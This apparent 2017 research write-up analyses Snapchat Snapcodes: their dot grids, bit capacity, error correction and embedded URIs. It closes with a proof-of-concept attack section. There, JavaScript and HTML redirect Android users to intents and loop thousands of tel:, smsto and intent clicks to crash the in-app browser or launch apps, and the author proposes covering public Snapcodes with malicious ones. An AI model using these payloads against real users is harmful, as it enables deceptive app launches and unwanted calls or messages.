Snapchat Snapcode Protocol

[October 2017] Snapcodes are a version of QR codes that Snapchat users can scan with the app to add friends. The codes are represented by a grid of dots within a border. There are two types of Snapcodes, codes with a bitmoji avatar enabled, and codes with the default ghost. Every snapchat user has a Ghost code, but those with Bitmoji linked to their account will have a second code. A snapcode of any user can be found through this url, where you replace {$USERNAME} with their username.{$USERNAME}&type=SVG&bitmoji=enable You can also force Ghost mode with this:{$USERNAME}&type=PNG This also converts the code to a PNG image that you can download. The SVG output is not directly downloadable. --- Analysis ---------------------------------------------------------------//-- The Ghost code is an 18x18 grid of dots, with a ghost image in the center. The bitmoji codes are a 19x19 grid of dots, with the face of their bitmoji avatar in the center. The data density of a bitmoji code is 19^2, or 361 bits. Three bits in each corner are unused because of the rounded edge, bringing the total down to 349. When laid out in it's natural binary form, a bitmoji code looks like this: 0001111110111100000 0100111110010100000 0010100010000110100 0111010000000110111 1000000000000010010 1111000000000000010 0000000000000000001 1010000000000000101 0110000000000000010 0010000000000000001 0100000000000000100 0000000000000000011 0010000000000000101 1000000000000001110 1101100000000010101 0010000000000100001 1101000000001010111 0101110110100110100 0011100101000001000 The data density of a Ghost code is 18^2, with the same 12 bits from the corners that are unused. Here is an example of one of those: 000010100111001000 011011111011110010 000100000000010000 110010000000010101 101110000000010001 101010000000001001 101100000000010001 101000000000000001 000000000000000100 110100000000001110 001000000000001000 001000000000000010 100000000000000011 010000000000000010 001000000000001001 001010000000001100 010010100011011000 000101100000010000 Kylie Jenner --- Data Density -----------------------------------------------------------//-- Because the image itself takes up a decent amount of real estate here, the actual amount of data that can be represented is more like this: XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXX 262 bits 250 bits - Bitmoji Data Arrangement - Factoring in the 12 bits that are unused, the total bits that can be used to represent data around the bitmoji is 250. The ghost code's data density is even smaller. 171 with the factored in Snapchat ghost. XXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXX XXXXXX XXXXXX XXXXXX XXXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXX XXXX XXXX XXXX XXX XXX XXX XXX XXX XXX XXX XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXX XXX XXX XXX XX XX XX XX XX XX XX XX XXX XXX XXX XXX XXXXXX XXXXXX XXXXXX XXXXXX XXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX --- Experiments ------------------------------------------------------------//-- QR Codes are built to have error correction, which is why there can be some QR codes containing art within them. Snapcodes with the bitmoji enabled have more error correction built in to account for the varying size of the bitmoji avatar. I decided to play with my code, and tested the error correction by scanning a drawing of dots in the same configuration on graph paper. Ghost codes cannot be scanned the same way, and doing so severely messes up the Snapchat scanning feature, crashing the app. This crashing also happens if the app doesn't get a clear read of the bitmoji code too. --- URLs Encoded in Snapcode -----------------------------------------------//-- Snapchat now has a feature that allows users to create snapcodes with links to their own sites for promotional purposes. After inspecting Snapchat's "Add Me" page that is generated when you share a snapchat profile via text or email, I saw that a URI was generated with this. Here is one that was generated for my phone: intent://add/{USERNAME}?sc_referrer=&link=%2Fadd%2F{USERNAME}&sc_ua={USERAGENT}&cid={CID}#Intent;scheme=snapchat;;end; We can see that is uses the intent:// URI to open Snapchat on an android with some preconfigured variables. Opening this link on a phone will add the user specified by replacing those {USERNAME} variables. Looking further at Snapchat's site, I saw this: snapchat://unlock/?type=SNAPCODE The snapchat URI itself, with an API call to "unlock" and a type defined by some UUID. Now knowing that there is a snapchat:// URI, we can simplify the add function: snapchat://add/{USERNAME} And can embed some javascript to trigger the add function in a page window.location = "snapchat://add/thugcrowd"; Knowing that snapchat's browser can parse device specific URIs, as well as internal API calls via snapcode, we can start doing stuff like this: market://details? market://details?id=com.termux The first one opens up the Google Play store page for Snapchat itself, and the second one opens up the Termux app page. --- Snapcodes As An Attack Vector ------------------------------------------//-- This snapcode was created to test the functionality of launching intents via Snapchat. When opening a URL within a snapcode, the Snapchat internal browser handles the page rendering. You can call other apps on the device with URIs, and in the case of Android, intents. Direct URL. The following code is used on the page to detect if an android phone is accessing the page, and if so, launch Chrome with another page. var ua = navigator.userAgent.toLowerCase(); var isAndroid = ua.indexOf("android") > -1; if(isAndroid) { window.location = "intent://;scheme=http;;end" } else { window.location = "dummy.html"; } The pages "dummy.html" and "dummy2.html" both attempt to trigger race conditions by launching several URIs at the same time. This has been shown to work in certain cases, but further experimentation is required. Sometimes, the page will crash the internal browser, and other times it will ask for user input to open an external app. In either case, the URIs are launched. The code used for dummy2, (the Android version) is as follows. The Android version in particular attempts to open Signal. <a href="intent://2223334444#Intent;scheme=smsto;package=org.thoughtcrime.securesms;action=android.intent.action.SENDTO;end" id="intenttel"></a> <a href="tel:+12223334444" id="tel"></a> <a href="" id="aku"></a> <script type="text/javascript"> for(i=0;i<999999;++i){ document.getElementById("tel").click(); document.getElementById("aku").click(); document.getElementById("intenttel").click(); window.location = window.location; } </script> The significance of this is that Snapcodes are like QR codes, but are much more accessible for the average user to scan. More people have Snapchat than a dedicated QR code reader, and are much more likely to scan a potentially malicious one. Even simply placing a malicious Snapcode over a legitimate one, such as one in a public place used for promotion for a store or event, will ensure that a large number of people will be exposed to the payload than most other forms of bait and switch. You may not necessarily have to rely on tricking the user into approving opening another app if the target is a well known Snapcode, as a majority of people would likely ignore that warning and continue on if they potentially can get something they want (such as a coupon or a chance to win something.) --- Dissecting Snapcode Encoding -------------------------------------------//-- Experimenting with a few different tools to analyze large amounts of snapcodes. To be continued... Questions There are a few questions I'll be looking into in the future. [?] Is a snapcode a hash, or is it just encoded? (Most likely a hash that is looked up when scanned) [?] How many API calls are there that we can access through snapchat? [?] What other intents can we trigger?